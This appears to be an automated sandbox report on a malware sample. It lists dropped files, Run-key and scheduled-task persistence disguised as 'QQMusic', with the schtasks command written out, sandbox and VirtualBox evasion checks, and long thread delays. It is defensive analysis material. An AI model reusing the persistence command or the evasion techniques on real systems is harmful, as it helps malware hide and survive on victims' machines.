Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static file information: File size 9485672 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2b8e00
Source: file.exe	Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x54c200

Source: file.exe	Static PE information: More than 200 imports for KERNEL32.dll
Source: file.exe	Static PE information: More than 200 imports for USER32.dll

Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: file.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: SMB.exe.0.dr

Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: file.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: file.exe	Static PE information: section name: .giats
Source: spread.txt.0.dr	Static PE information: section name: .giats

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\X64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Svchocpu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\spread.txt	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\SMB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\X86.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\X64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\Svchocpu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\spread.txt	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\SMB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\X86.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\ProgramData\spread.txt

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run QQMusic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run QQMusic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QQMusic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QQMusic	Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: file.exe, spread.txt.0.dr	Binary or memory string: DIR_WATCH.DLL
Source: file.exe, spread.txt.0.dr	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\file.exe

File opened / queried: VBoxMiniRdrDN

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 18000000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 924	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 358	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: foregroundWindowGot 1677	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\X64.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\SMB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\X86.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 280	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4136	Thread sleep count: 924 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5172	Thread sleep count: 202 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5172	Thread sleep time: -202000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 524	Thread sleep count: 91 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 524	Thread sleep time: -910000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 876	Thread sleep count: 74 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 876	Thread sleep time: -1332000000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2184	Thread sleep count: 89 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 280	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5000	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6492	Thread sleep count: 126 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6492	Thread sleep count: 358 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6492	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6492	Thread sleep count: 282 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2620	Thread sleep count: 115 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7212	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7212	Thread sleep count: 80 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7212	Thread sleep count: 76 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6492	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7916	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7916	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
